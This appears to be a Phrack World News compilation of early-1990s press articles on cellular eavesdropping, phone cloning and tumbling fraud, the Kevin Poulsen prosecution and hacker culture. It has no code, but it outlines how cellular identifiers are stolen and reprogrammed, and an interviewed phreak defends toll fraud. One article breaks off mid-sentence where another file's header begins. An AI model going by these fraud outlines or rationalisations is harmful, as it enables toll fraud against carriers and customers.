~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Mark Lewyn (The Washington Post)(Page A1)

"Eavesdroppers Tap Into Private Calls."

On the first day of the Soviet coup against Mikhail Gorbachev in August 1991, Vice President Quayle placed a call to Senator John C. Danforth (R‑Mo.) and assessed the tense, unfolding drama.

It turned out not to be a private conversation.

At the time, Quayle was aboard a government jet, flying to Washington from California. As he passed over Amarillo, Texas his conversation, transmitted from the plane to Danforth's phone, was picked up by an eavesdropper using electronic "scanning" gear that searches the airwaves for radio or wireless telephone transmissions and then locks onto them.

The conversation contained no state secrets ‑‑ the vice president observed that Gorbachev was all but irrelevant and Boris Yeltsin had become the man to watch. But it remains a prized catch among the many conversations overhead over many years by one of a steadily growing fraternity of amateur electronics eavesdroppers who listen in on all sorts of over‑the‑air transmissions, ranging from Air Force One communications to cordless car‑phone talk.

One such snoop overheard a March 1990 call placed by Peter Lynch, a well‑known mutual fund executive in Boston, discussing his forthcoming resignation, an event that later startled financial circles. Another electronic listener overheard the chairman of Popeye's Fried Chicken disclose plans for a 1988 takeover bid for rival Church's Fried Chicken.

Calls by President Bush and a number of Cabinet officers have been intercepted. The recordings of car‑phone calls made by Virginia Governor L. Douglas Wilder (D), intercepted by a Virginia Beach restaurant owner and shared with Senator Charles S. Robb (D‑Va.), became a cause ce'le'bre in Virginia politics.

Any uncoded call that travels via airwaves, rather than wire, can be picked up, thus the possibilities have multiplied steadily with the growth of cellular phones in cars and cordless phones in homes and offices. About 41 percent of U.S. households have cordless phones and the number is expected to grow by nearly 16 million this year, according to the Washington‑based Electronics Industry Association.

There are 7.5 million cellular phone subscribers, a technology that passes phone calls over the air through a city from one transmission "cell" to the next. About 1,500 commercial airliners now have air‑to‑ground phones ‑‑ roughly half the U.S. fleet.

So fast‑growing is this new form of electronic hacking that it has its own magazines, such as Monitoring Times. "The bulk of the people doing this aren't doing it maliciously," said the magazine's editor, Robert Grove, who said he has been questioned several times by federal agents, curious about hackers' monitoring activities.

But some experts fear the potential for mischief. The threat to business from electronic eavesdropping is "substantial," said Thomas S. Birney III, president of Cellular Security Group, a Massachusetts‑based consulting group.

Air Force One and other military and government aircraft have secure satellite phone links for sensitive conversations with the ground, but because these are expensive to use and sometimes not operating, some calls travel over open frequencies. Specific frequencies, such as those used by the president's plane, are publicly available and are often listed in "scanners" publications and computer bulletin boards.

Bush, for example, was accidentally overheard by a newspaper reporter in 1990 while talking about the buildup prior to the Persian Gulf War with Senator Robert Byrd (D‑W.Va.). The reporter, from the Daily Times in Gloucester, Massachusetts quickly began taking notes and the next day, quoted Bush in his story under the headline, "Bush Graces City Airspace."

The vice president's chief of staff, William Kristol, was overheard castigating one staff aide as a "jerk" for trying to reach him at home.

Some eavesdroppers may be stepping over the legal line, particularly if they tape record such conversations.

The Electronic Communications Privacy Act prohibits intentional monitoring, taping or distribution of the content of most electronic, wire or private oral communications. Cellular phone calls are explicitly protected under this act. Local laws often also prohibit such activity. However, some lawyers said that under federal law, it is legal to intercept cordless telephone conversations as well as conversations on an open radio channel.

The government rarely prosecutes such cases because such eavesdroppers are difficult to catch. Not only that, it is hard to win convictions against "listening Toms," lawyers said, because prosecutors must prove the eavesdropping was intentional.

"Unless they prove intent they are not going to win," said Frank Terranella, general counsel for the Association of North American Radio Clubs in Clifton, New Jersey. "It's a very tough prosecution for them."

To help curb eavesdropping, the House has passed a measure sponsored by Rep. Edward J. Markey (D‑Mass.), chairman of the House telecommunications and finance subcommittee, that would require the Federal Communications Commission to outlaw any scanner that could receive cellular frequencies. The bill has been sent to the Senate.

But there are about 10 million scanners in use, industry experts report, and this year sales of scanners and related equipment such as antennas will top $100 million.

Dedicated scanners, who collect the phone calls of high‑ranking government officials the way kids collect baseball cards, assemble basements full of electronic gear.

In one sense, the electronic eavesdroppers are advanced versions of the ambulance chasers who monitor police and fire calls with simpler scanning equipment and then race to the scene of blazes and accidents for a close look. But they also have kinship with the computer hackers who toil at breaking into complex computer systems and rummaging around other's files and software programs.

One New England eavesdropper has four scanners, each one connected to its own computer, with a variety of frequencies programmed. When a conversation appears on a pre‑selected frequency, a computer automatically locks in on the frequency to capture it. He also keeps a scanner in his car, for entertainment along the road.

He justifies his avocation with a seemingly tortured logic. "I'm not going out and stealing these signals," he said. "They're coming into my home, right through my windows."

________________________________________

Why Cybercrooks Love Cellular December 21, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by William G. Flanagan and Brigid McMenamin (Forbes)(Page 189)

Cellular phones provide cybercrooks with golden opportunities for telephone toll fraud, as many shocked cellular customers are discovering. For example, one US West Cellular customer in Albuquerque recently received a hefty telephone bill.

Total: $20,000.

Customers are not held responsible when their phone numbers are ripped off and misused. But you may be forced to have your cellular phone number changed. The cellular carriers are the big losers ‑‑ to the tune of an estimated $300 million per year in unauthorized calls.

How do the crooks get the numbers? There are two common methods: cloning and tumbling.

Each cellular phone has two numbers ‑‑ a mobile identification number (MIN) and an electronic serial number (ESN). Every time you make a call, the chip transmits both numbers to the local switching office for verification and billing.

Cloning involves altering the microchip in another cellular phone so that both the MIN and ESN numbers match those stolen from a bona fide customer. The altering can be done with a personal computer. The MIN and ESN numbers are either purchased from insiders or plucked from the airwaves with a legal device, about the size of a textbook, that can be plugged into a vehicle's cigarette lighter receptacle.

Cellular companies are starting to watch for suspicious calling patterns. But the cloning may not be detected until the customer gets his bill.

The second method ‑‑ tumbling ‑‑ also involves using a personal computer to alter a microchip in a cellular phone so that its numbers change after every phone call. Tumbling doesn't require any signal plucking. It takes advantage of the fact that cellular companies allow "roaming" ‑‑ letting you make calls away from your home area.

When you use a cellular phone far from your home base, it may take too long for the local switching office to verify your MIN and ESN numbers. So the first call usually goes through while the verification goes on. If the numbers are invalid, no more calls will be permitted by that office on that phone.

In 1987 a California hacker figured out how to use his personal computer to reprogram the chip in a cellular phone. Authorities say one of his pals started selling altered chips and chipped‑up phones. Other hackers figured out how to make the chips generate new, fake ESN numbers every time the cellular phone was used, thereby short‑circuiting the verification process. By 1991 chipped‑up, tumbling ESN phones were in use all over the U.S.

The cellular carriers hope to scotch the problem of tumbling with instant verification. But that won't stop the clones.

How do crooks cash in? Drug dealers buy (for up to $ 3,200) or lease (about $750 per day) cellular phones with altered chips. So do the "call‑sell" crooks, who retail long distance calls to immigrants often for less than phone companies charge. That's why a victim will get bills for calls all over the

PWN/Part 2

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 12 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 41 / Part 2 of 3 PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Government Cracks Down On Hacker November 2, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Donald Clark (The San Francisco Chronicle)(Page C1)

"Civil Libertarians Take Keen Interest In Kevin Poulsen Case"

Breaking new ground in the war on computer crime, the Justice Department plans to accuse Silicon Valley's most notorious hacker of espionage.

Kevin Lee Poulsen, 27, touched off a 17‑month manhunt before being arrested on charges of telecommunications and computer fraud in April 1991. A federal grand jury soon will be asked to issue a new indictment charging Poulsen with violating a law against willfully sharing classified information with unauthorized persons, assistant U.S. attorney Robert Crowe confirmed.

A 1988 search of Poulsen's Menlo Park storage locker uncovered a set of secret orders from a military exercise, plus evidence that Poulsen may have tried to log onto an Army data network and eavesdropped on a confidential investigation of former Philippine President Ferdinand Marcos. It is not clear whether the new charge stems from these or other acts.

Poulsen did not hand secrets to a foreign power, a more serious crime, Crowe noted. But by using an espionage statute against a U.S. hacker for the first time, prosecutors raise the odds of a record jail sentence that could be used to deter other electronic break‑ins.

They could use a stronger deterrent. Using personal computers connected to telephone lines, cadres of so‑called cyberpunks have made a sport of tapping into confidential databases and voicemail systems at government agencies and corporations. Though there is no reliable way to tally the damage, a 1989 survey indicated that computer crimes may cost U.S. business $500 million a year, according to the Santa Cruz‑based National Center for Computer Crime Data.

Telephone companies, whose computers and switching systems have long been among hackers' most inviting targets, are among those most anxious to tighten security. Poulsen allegedly roamed at will through the networks of Pacific Bell, for example, changing records and even intercepting calls between Pac Bell security personnel who were on his trail.

The San Francisco‑based utility has been intimately involved in his prosecution; Poulsen was actually captured in part because one of the company's investigators staked out a suburban Los Angeles supermarket where the fugitive shopped.

"Virtually everything we do these days is done in a computer ‑‑your credit cards, your phone bills," said Kurt von Brauch, a Pac Bell security officer who tracked Poulsen, in an interview last year. "He had the knowledge to go in there and alter them."

BROAD LEGAL IMPACT

Poulsen's case could have broad impact because of several controversial legal issues involved. Some civil libertarians, for example, question the Justice Department's use of the espionage statute, which carries a maximum 10‑year penalty and is treated severely under federal sentencing guidelines. They doubt the law matches the actions of Poulsen, who seems to have been motivated more by curiosity than any desire to hurt national security.

"Everything we know about this guy is that he was hacking around systems for his own purposes," said Mike Godwin, staff counsel for the Electronic Frontier Foundation, a public‑interest group that has tracked Poulsen's prosecution. He termed the attempt to use the statute against Poulsen "brain‑damaged."

Poulsen, now in federal prison in Pleasanton, has already served 18 months in jail without being tried for a crime, much less convicted. Though federal rules are supposed to ensure a speedy trial, federal judges can grant extended time to allow pretrial preparation in cases of complex evidence or novel legal issues.

Both are involved here. After he fled to Los Angeles to avoid prosecution, for example, Poulsen used a special scrambling scheme on one computer to make his data files unintelligible to others. It has taken months to decode that data, and the job isn't done yet, Crowe said. That PC was only found because authorities intercepted one of Poulsen's phone conversations from jail, other sources said.

CHARGES LABELED ABSURD

Poulsen declined requests for interviews. His attorney, Paul Meltzer, terms the espionage charge absurd. He is also mounting several unusual attacks on parts of the government's original indictment against Poulsen, filed in 1989.

He complains, for example, that the entire defense team is being subjected to 15‑year background checks to obtain security clearances before key documents can be examined.

"The legal issues are fascinating," Meltzer said. "The court will be forced to make law."

Poulsen's enthusiasm for exploring forbidden computer systems became known to authorities in 1983. The 17‑year‑old North Hollywood resident, then using the handle Dark Dante, allegedly teamed up with an older hacker to break into ARPAnet, a Pentagon‑organized computer network that links researchers and defense contractors around the country. He was not charged with a crime because of his age.

Despite those exploits, Poulsen was later hired by SRI International, a Menlo Park‑based think tank and government contractor, and given an assistant programming job with a security clearance. Though SRI won't comment, one source said Poulsen's job involved testing whether a public data network, by means of scrambling devices, could be used to confidentially link classified government networks.

But Poulsen apparently had other sidelines. Between 1985 and 1988, the Justice Department charges, Poulsen burglarized or used phony identification to sneak into several Bay Area phone company offices to steal equipment and confidential access codes that helped him monitor calls and change records in Pac Bell computers, prosecutors say.

CACHE OF PHONE GEAR

The alleged activities came to light because Poulsen did not pay a bill at the Menlo/Atherton Storage Facility. The owner snipped off a padlock on a storage locker and found an extraordinary cache of telephone paraphernalia. A 19‑count indictment, which also named two of Poulsen's associates, included charges of theft of government property, possession of wire‑tapping devices and phony identification.

One of Poulsen's alleged accomplices, Robert Gilligan, last year pleaded guilty to one charge of illegally obtaining Pac Bell access codes. Under a plea bargain, Gilligan received three years of probation, a $25,000 fine, and agreed to help authorities in the Poulsen prosecution. Poulsen's former roommate, Mark Lottor, is still awaiting trial.

A key issue in Poulsen's case concerns CPX Caber Dragon, a code name for a military exercise in Fort Bragg, North Carolina. In late 1987 or early 1988, the government charges, Poulsen illegally obtained classified orders for the exercise. But Meltzer insists that the orders had been declassified by the time they were seized, and were reclassified after the fact to prosecute Poulsen. Crowe said Meltzer has his facts wrong. "That's the same as saying we're framing Poulsen," Crowe said. "That's the worst sort of accusation I can imagine."

Another dispute focuses on the charge of unauthorized access to government computers. FBI agents found an electronic copy of the banner that a computer user sees on first dialing up an Army network called MASNET, which includes a warning against unauthorized use of the computer system. Meltzer says Poulsen never got beyond this computer equivalent of a "No Trespassing" sign.

Furthermore, Meltzer argues that the law is unconstitutional because it does not sufficiently define whether merely dialing up a computer qualifies as illegal "access."

Meltzer also denies that Poulsen could eavesdrop on calls. The indictment accuses him of illegally owning a device called a direct access test unit, which it says is "primarily useful" for surreptitiously intercepting communications. But Meltzer cites an equipment manual showing that the system is specifically designed to garble conversations, though it allows phone company technicians to tell that a line is in use.

Crowe said he will soon file written rebuttals to Meltzer's motions. In addition to the new indictment he is seeking, federal prosecutors in Los Angeles are believed to be investigating Poulsen's activities while a fugitive. Among other things, Poulsen reportedly taunted FBI agents on computer bulletin boards frequented by hackers.

PHONE COMPANIES WORRIED

Poulsen's prosecution is important to the government ‑‑ and phone companies ‑because of their mixed record so far in getting convictions in hacker cases.

In one of the most embarrassing stumbles, a 19‑year‑old University of Missouri student named Craig Neidorf was indicted in February 1990 on felony charges for publishing a memorandum on the emergency 911 system of Bell South. The case collapsed when the phone company information ‑‑ which the government said was worth $79,940 ‑‑ was shown by the defense to be available from another Bell system for just $13.50.

Author Bruce Sterling, whose "The Hacker Crackdown" surveys recent high‑tech crime and punishment, thinks the phone company overstates the dangers from young hackers. On the other hand, a Toronto high school student electronically tampered with that city's emergency telephone dispatching system and was arrested, he noted.

Because systems that affect public safety are involved, law enforcement officials are particularly anxious to win convictions and long jail sentences for the likes of Poulsen.

"It's very bad when the government goes out on a case and loses," said one computer‑security expert who asked not to be identified. "They are desperately trying to find something to hang him on."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Hacker Charged With Stealing Military Secrets December 8, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the Associated Press

SAN FRANCISCO ‑‑ A computer hacker has been charged with stealing Air Force secrets that allegedly included a list of planned targets in a hypothetical war.

Former Silicon Valley computer whiz Kevin Poulsen, who was accused in the early 1980s as part of a major hacking case, was named in a 14‑count indictment issued Monday.

He and an alleged accomplice already face lesser charges of unlawful use of telephone access devices, illegal wiretapping and conspiracy.

Poulsen, 27, of Los Angeles, faces 7‑to‑10 years in prison if convicted of the new charge of gathering defense information, double the sentence he faced previously.

His lawyer, Paul Meltzer, says the information was not militarily sensitive and that it was reclassified by government officials just so they could prosecute Poulsen on a greater charge.

A judge is scheduled to rule February 1 on Meltzer's motion to dismiss the charge.

In the early 1980s, Poulsen and another hacker going by the monicker Dark Dante were accused of breaking into UCLA's computer network in one of the first prosecutions of computer hacking.

He escaped prosecution because he was then a juvenile and went to work at Sun Microsystems in Mountain View.

While working for Sun, Poulsen illegally obtained a computer tape containing a 1987 order concerning a military exercise code‑named Caber Dragon 88, the government said in court papers. The order is classified secret and contains names of military targets, the government said.

In 1989, Poulsen and two other men were charged with stealing telephone access codes from a Pacific Bell office, accessing Pacific Bell computers, obtaining unpublished phone numbers for the Soviet Consulate in San Francisco; dealing in stolen telephone access codes; and eavesdropping on two telephone company investigators.

Poulsen remained at large until a television show elicited a tip that led to his capture in April 1991.

He and Mark Lottor, 27, of Menlo Park, are scheduled to be tried in March. The third defendant, Robert Gilligan, has pleaded guilty and agreed to pay Pacific Bell $25,000. He is scheduled to testify against Lottor and Poulsen as part of a plea bargain.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

CA Computer Whiz Is First Hacker Charged With Espionage December 10, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John Enders (The Associated Press)

SAN JOSE, California ‑‑ A 28‑year‑old computer whiz who reportedly once tested Department of Defense security procedures has become the first alleged computer hacker to be charged with espionage.

The government says Kevin Lee Poulsen stole classified military secrets and should go to prison. But his lawyer calls him "an intellectually curious computer nerd."

Poulsen, of Menlo Park, California, worked in the mid‑1980s as a consultant testing Pentagon computer security. Because of prosecution delays, he was held without bail in a San Jose jail for 20 months before being charged this week.

His attorney, Paul Meltzer, says that Poulsen did not knowingly possess classified information. The military information had been declassified by the time prosecutors say Poulsen obtained it, Meltzer said.

"They are attempting to make him look like Julius Rosenberg," Meltzer said of the man executed in 1953 for passing nuclear‑bomb secrets to the Soviet Union. "It's just ridiculous."

Poulsen was arrested in 1988 on lesser but related hacking charges. He disappeared before he was indicted and was re‑arrested in Los Angeles in April 1991. Under an amended indictment, he was charged with illegal possession of classified government secrets.

Poulsen also is charged with 13 additional counts, including eavesdropping on private telephone conversations and stealing telephone company equipment.

If convicted on all counts, he faces up to 85 years in prison and fines totaling $3.5 million, said Assistant U.S. Attorney Robert Crowe in San Francisco.

On Monday (12/7), Poulsen pleaded innocent to all charges. He was handed over to U.S. Marshals in San Jose on Wednesday (12/9) and was being held at a federal center in Pleasanton near San Francisco.

He hasn't been available for comment, but in an earlier letter from prison, Poulsen called the charges "ludicrous" and said the government is taking computer hacking too seriously.

U.S. Attorney John A. Mendez said Wednesday (12/9) that Poulsen is not suspected of turning any classified or non‑classified information over to a foreign power, but he said Poulsen's alleged activities are being taken very seriously.

"He's unique. He's the first computer hacker charged with this type of violation ‑‑ unlawful gathering of defense information," Mendez said.

Assistant U.S. Attorney Robert Crowe said the espionage charge was entered only after approval from the Justice Department's internal security section in Washington.

The indictment alleges that Poulsen:

‑ Tapped into the Pacific Bell Co.'s computer and collected unpublished telephone numbers and employee lists for the Soviet Consulate in San Francisco.

‑ Stole expensive telephone switching and other equipment.

‑ Retrieved records of phone company security personnel and checked records of their own calls to see if they were following him.

‑ Eavesdropped on telephone calls and computer electronic mail between phone company investigators and some of his acquaintances.

‑ Tapped into an unclassified military computer network known as Masnet.

‑ Obtained a classified document on flight orders for a military exercise involving thousands of paratroopers at the Army's Fort Bragg in North Carolina.

The offenses allegedly took place between 1986 and 1988.

In 1985, the Palo Alto, California, think tank SRI International hired Poulsen to work on military contracts, including a sensitive experiment to test Pentagon computer security, according to published reports. SRI has declined to comment on the case.

________________________________________

Hacker For Hire October 19, 1992

~~~~~~~~~~~~~~~

by Mark Goodman and Allison Lynn (People)(Page 151)

"Real‑life Sneaker Ian Murphy puts the byte on corporate spies."

THERE'S NO PRIVACY THESE DAYS," says Ian Murphy. "Just imagine going into GM's or IBM's accounts and wiping them out. You can bring about economic collapse by dropping in a virus without them even knowing it." Scoff at your peril, Corporate America. Captain Zap ‑‑ as Murphy is known in the electronic underworld of computer hackers ‑‑ claims there's no computer system he can't crack, and hence no mechanical mischief he can't wreak on corporations or governments. And Murphy, 35, has the track record ‑‑ not to mention the criminal record ‑‑ to back up his boasts.

Murphy's fame in his subterranean world is such that he worked as a consultant for Sneakers, the hit film about a gang of computer‑driven spies (Robert Redford, Sidney Poitier, Dan Aykroyd) lured into doing some high‑risk undercover work for what they believe is the National Security Agency.

Murphy loved the way the movie turned out. "It's like a training film for hackers," he says, adding that he saw much of himself in the Aykroyd character, a pudgy, paranoid fantasist named Mother who, like Murphy, plows through people's trash for clues. In fact when Aykroyd walked onscreen covered with trash, Murphy recalls, "My friends turned to me and said, 'Wow, that's you!'" If that sounds like a nerd's fantasy, then check out Captain Zap's credentials. Among the first Americans to be convicted of a crime involving computer breakins, he served only some easy community‑service time in 1983 before heading down the semistraight, not necessarily narrow, path of a corporate spy.

Today, Murphy, 35, is president of IAM Secure Data Systems, a security consultant group he formed in 1982. For a fee of $5,000 a day plus expenses, Murphy has dressed up as a phone‑company employee and cracked a bank's security system, he has aided a murder investigation for a drug dealer's court defense, and he has conducted a terrorism study for a major airline. His specialty, though, is breaking into company security systems ‑‑ an expertise he applied illegally in his outlaw hacker days and now, legally, by helping companies guard against such potential break‑ins. Much of his work lately, he says, involves countersurveillance ‑‑ that is, finding out if a corporation's competitors are searching its computer systems for useful information. "It's industrial spying," Murphy says, "and it's happening all over the place."

Murphy came by his cloak‑and‑daggerish calling early. He grew up in Gladwyne, Pennsylvania, on Philadelphia's Main Line, the son of Daniel Murphy, a retired owner of a stevedoring business, and his wife, Mary Ann, an advertising executive. Ian recalls, "As a kid, I was bored. In science I did wonderfully. The rest of it sucked. And social skills weren't my thing."

Neither was college. Ian had already begun playing around with computers at Archbishop Carroll High School; after graduation he joined the Navy. He got an early discharge in 1975 when the Navy didn't assign him to radio school as promised, and he returned home to start hacking with a few pals. In his heyday, he claims, he broke into White House and Pentagon computers. "In the Pentagon," he says, "we were playing in the missile department, finding out about the new little toys they were developing and trying to mess with their information. None of our break‑ins had major consequences, but it woke them the hell up because they [had] all claimed it couldn't be done."

Major consequences came later. Murphy and his buddies created dummy corporations with Triple‑A credit ratings and ordered thousands of dollars' worth of computer equipment. Two years later the authorities knocked at Murphy's door. His mother listened politely to the charges, then earnestly replied, "You have the wrong person. He doesn't know anything about computers."

Right. Murphy was arrested and convicted of receiving stolen property in 1982. But because there were no federal computer‑crime laws at that time, he got off with a third‑degree felony count. He was fined $1,000, ordered to provide 1,000 hours of community service (he worked in a homeless shelter) and placed on probation for 2 1/2 years. "I got off easy," he concedes.

Too easy, by his own mother's standards. A past president of Republican Women of the Main Line, Mary Ann sought out her Congressman, Larry Coughlin, and put the question to him: "How would you like it if the next time you ran for office, some young person decided he was going to change all of your files?" Coughlin decided he wouldn't like it and raised the issue on the floor of Congress in 1983. The following year, Congress passed a national computercrime law, making it illegal to use a computer in a manner not authorized by the owner.

Meanwhile, Murphy, divorced in 1977 after a brief marriage, had married Carol Adrienne, a documentary film producer, in 1982. Marriage evidently helped set Murphy straight, and he formed his company ‑‑ now with a staff of 12 that includes a bomb expert and a hostage expert. Countersurveillance has been profitable (he's making more than $250,000 a year and is moving out of his parents' house), but it has left him little time to work on his social skills ‑ or for that matter his health. At 5 ft.6 in. and 180 lbs., wearing jeans, sneakers and a baseball cap, Murphy looks like a Hollywood notion of himself. He has suffered four heart attacks since 1986 but unregenerately smokes a pack of cigarettes a day and drinks Scotch long before the sun falls over the yardarm.

He and Carol divorced in April 1991, after 10 years of marriage. "She got ethics and didn't like the work I did," he says. These days Murphy dates ‑but not until he thoroughly "checks" the women he goes out with. "I want to know who I'm dealing with because I could be dealing with plants," he explains. "The Secret Service plays games with hackers."

Murphy does retain a code of honor. He will work for corporations, helping to keep down the corporate crime rate, he says, but he won't help gather evidence to prosecute fellow hackers. Indeed his rogue image makes it prudent for him to stay in the background. Says Reginald Branham, 23, president of Cyberlock Consulting, with whom Murphy recently developed a comprehensive antiviral system: "I prefer not to take Ian to meetings with CEOs. They're going to listen to him and say, 'This guy is going to tear us apart.'" And yet Captain Zap, for all his errant ways, maintains a certain peculiar charm. "I'm like the Darth Vader of the computer world," he insists. "In the end I turn out to be the good guy."

(Photograph 1 = Ian Murphy)

(Photograph 2 = River Phoenix, Robert Redford, Dan Aykroyd, and Sidney Poitier) (Photograph 3 = Mary Ann Murphy <Ian's mom>)

________________________________________

Yacking With A Hack August 1992

~~~~~~~~~~~~~~~~~~~

by Barbara Herman (Teleconnect)(Page 60)

"Phone phreaking for fun, profit & politics."

Ed is an intelligent, articulate 18 year old. He's also a hacker, a selfprofessed "phreak" ‑‑ the term that's developed in a subculture of usually young, middle‑class computer whizzes.

I called him at his favorite phone booth.

Although he explained how he hacks as well as what kinds of hacking he has been involved in, I was especially interested in why he hacks.

First off, Ed wanted to make it clear he doesn't consider himself a "professional" who's in it only for the money. He kept emphasizing that "hacking is not only an action, it's a state of mind."

Phreaks even have an acronym‑based motto that hints at their overblown opinions of themselves. PHAC. It describes what they do: "phreaking," "hacking," "anarchy" and "carding." In other words, they get into systems over the telecom network (phreaking), gain access (hacking), disrupt the systems (political anarchy) and use peoples' calling/credit cards for their personal use.

Throughout our talk, Ed showed no remorse for hacking. Actually, he had contempt for those he hacked. Companies were "stupid" because their systems' were so easy to crack. They deserved it.

As if they should have been thankful for his mercy, he asked me to imagine what would have happened if he really hacked one railway company's system (he merely left a warning note), changing schedules and causing trains to collide.

He also had a lot of disgust for the "system," which apparently includes big business (he is especially venomous toward AT&T), government, the FBI, known as "the Gestapo" in phreak circles, and the secret service, whose "intelligence reflects what their real jobs should be, secret service station attendants."

He doesn't really believe any one is losing money on remote access toll fraud.

He figures the carriers are angry not about money lost but rather hypothetical money, the money they could have charged for the free calls the hackers made, which he thinks are overpriced to begin with.

He's also convinced (wrongly) that companies usually don't foot the bill for the free calls hackers rack up on their phone systems. "And, besides, if some multi‑million dollar corporation has to pay, I'm certainly not going to cry for them."

I know. A twisted kid. Weird. But besides his skewed ethics, there's also a bunch of contradictions.

He has scorn for companies who can't keep him out, even though he piously warns them to try.

He dismisses my suggestion that the "little guy" is in fact paying the bills instead of the carrier. And yet he says AT&T is overcharging them for the "vital" right to communicate with each other.

He also contradicted his stance of being for the underdog by calling the railway company "stupid" for not being more careful with their information.

Maybe a railway company is not necessarily the "little guy," but it hardly seems deserving of the insults Ed hurled at it. When I mentioned that a hospital in New York was taken for $100,000 by hackers, he defended the hackers by irrelevantly making the claim that doctors easily make $100,000 a year. Since when did doctors pay hospital phone bills?

What Ed is good at is rationalizing. He lessens his crimes by raising them to the status of political statements, and yet in the same breath, for example, he talks about getting insider info on the stock market and investing once he knows how the stock is doing. He knows it's morally wrong, he told me, but urged me to examine this society that "believes in making a buck any way you can. It's not a moral society."

Amazingly enough, the hacker society to which Ed belongs, if I can unstatistically use him as a representative of the whole community, is just as tangled in the contradictions of capitalism as the "system" they supposedly loathe. In fact, they are perhaps more deluded and hypocritical because they take a political stance rather than recognizing their crimes for what they are. How can Ed or anyone else in the "phreaking" community take seriously their claims of being against big business and evil capitalism when they steal people's credit‑card and calling‑card numbers and use them for their own profit?

The conversation winded down after Ed rhapsodized about the plight of the martyred hacker who is left unfairly stigmatized after he is caught, or "taken down."

One time the Feds caught his friend hacking ID codes, had several phone companies and police search his house, and had his computer taken away. Even though charges were not filed, Ed complained, "It's not fair."

That's right, phreak. They should have thrown him in prison.

________________________________________

Computer Hacker On Side Of Law September 23, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Shelby Grad (Los Angeles Times)(Page B3)

COSTA MESA, CA ‑‑ Philip Bettencourt's formal title is photo lab supervisor for the Costa Mesa Police Department. But on Tuesday afternoon, he served as the department's official computer hacker.

Bettencourt, pounding the keyboard excitedly as other officers looked on, was determined to find information within a stolen computer's vast memory that would link the machine to its owner.

So far, he had made matches for all but two of the 26 computers recovered earlier this month by police as part of a countywide investigation of stolen office equipment. This would be number 25.

First, he checked the hard drive's directory, searching for a word‑processing program that might include a form letter or fax cover sheet containing the owner's name, address or phone number.

When that failed, he tapped into an accounting program, checking for clues on the accounts payable menu.

"Bingo!" Bettencourt yelled a few minutes into his work. He found an invoice account number to a Fountain Valley cement company that might reveal the owner's identity. Seconds later, he came across the owner's bank credit‑card number.

And less than a minute after that, Bettencourt hit pay dirt: The name of a Santa Ana building company that, when contacted, revealed that it had indeed been the victim of a recent computer burglary.

"This is great," said Bettencourt, who has been interested in computers for nearly two decades now, ever since Radio Shack put its first model on the market. "I love doing this. This is hacking, but it's in a good sense, not trying to hurt someone. This is helping people."

Few computer owners who were reunited with their equipment would contest that. When Costa Mesa police recovered $250,000 worth of computers, fax machines, telephones and other office gadgets, detectives were faced with the difficult task of matching machines bearing few helpful identifying marks to their owners, said investigator Bob Fate.

Enter Bettencourt, who tapped into the computers' hard drives, attempting to find the documents that would reveal from whom the machines were taken.

As of Tuesday, all but $50,000 worth of equipment was back in owners' hands. Investigators suggested that people who recently lost office equipment call the station to determine if some of the recovered gadgetry belongs to them.

Ironically, the alleged burglars tripped themselves up by not erasing the data from the computers before reselling the machines, authorities said. A college student who purchased one of the stolen computers found data from the previous owner, whom he contacted. Police were then called in, and a second "buy" was scheduled in which several suspects were arrested, Fate said.

Three people were arrested September 15 and charged with receiving and possessing stolen property. Police are still searching for the burglars.

The office equipment was recovered from an apartment and storage facility in Santa Ana.

Bettencourt matched the final stolen computer to its owner before sundown Tuesday.

________________________________________

CuD's 1992 MEDIA HYPE Award To FORBES MAGAZINE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Jim Thomas (Computer Underground Digest)

In recent years, media depiction of "hackers" has been criticized for inaccurate and slanted reporting that exaggerates the public dangers of the dread "hacker menace." As a result, CuD annually recognizes the year's most egregious example of media hype.

The 1992 annual CuD GERALDO RIVERA MEDIA HYPE award goes to WILLIAM G. FLANAGAN AND BRIGID McMENAMIN for their article "The Playground Bullies are Learning how to Type" in the 21 December issue of Forbes (pp 184‑189). The authors improved upon last year's winner, Geraldo himself, in inflammatory rhetoric and distorted narrative that seems more appropriate for a segment of "Inside Edition" during sweeps week than for a mainstream conservative periodical.

The Forbes piece is the hands‑down winner for two reasons. First, one reporter of the story, Brigid McMenamin, was exceptionally successful in creating for herself an image as clueless and obnoxious. Second, the story itself was based on faulty logic, rumors, and some impressive leaps of induction. Consider the following.

The Reporter: Brigid McMenamin

It's not only the story's gross errors, hyperbole, and irresponsible distortion that deserve commendation/condemnation, but the way that Forbes reporter Brigid McMenamin tried to sell herself to solicit information.

One individual contacted by Brigid McM claimed she called him several times "bugging" him for information, asking for names, and complaining because "hackers" never called her back. He reports that she explicitly stated that her interest was limited to the "illegal stuff" and the "crime aspect" and was oblivious to facts or issues that did not bear upon hackers‑as‑criminals.

Some persons present at the November 2600 meeting at Citicorp, which she attended, suggested the possibility that she used another reporter as a credibility prop, followed some of the participants to dinner after the meeting, and was interested in talking only about illegal activities. One observer indicated that those who were willing to talk to her might not be the most credible informants. Perhaps this is one reason for her curious language in describing the 2600 meeting.

Another person she contacted indicated that she called him wanting names of people to talk to and indicated that because Forbes is a business magazine, it only publishes the "truth." Yet, she seemed not so much interested in "truth," but in finding "evidence" to fit a story. He reports that he attempted to explain that hackers generally are interested in Unix and she asked if she could make free phone calls if she knew Unix. Although the reporter stated to me several times that she had done her homework, my own conversation with her contradicted her claims, and if the reports of others are accurate, here claims of preparation seem disturbingly exaggerated.

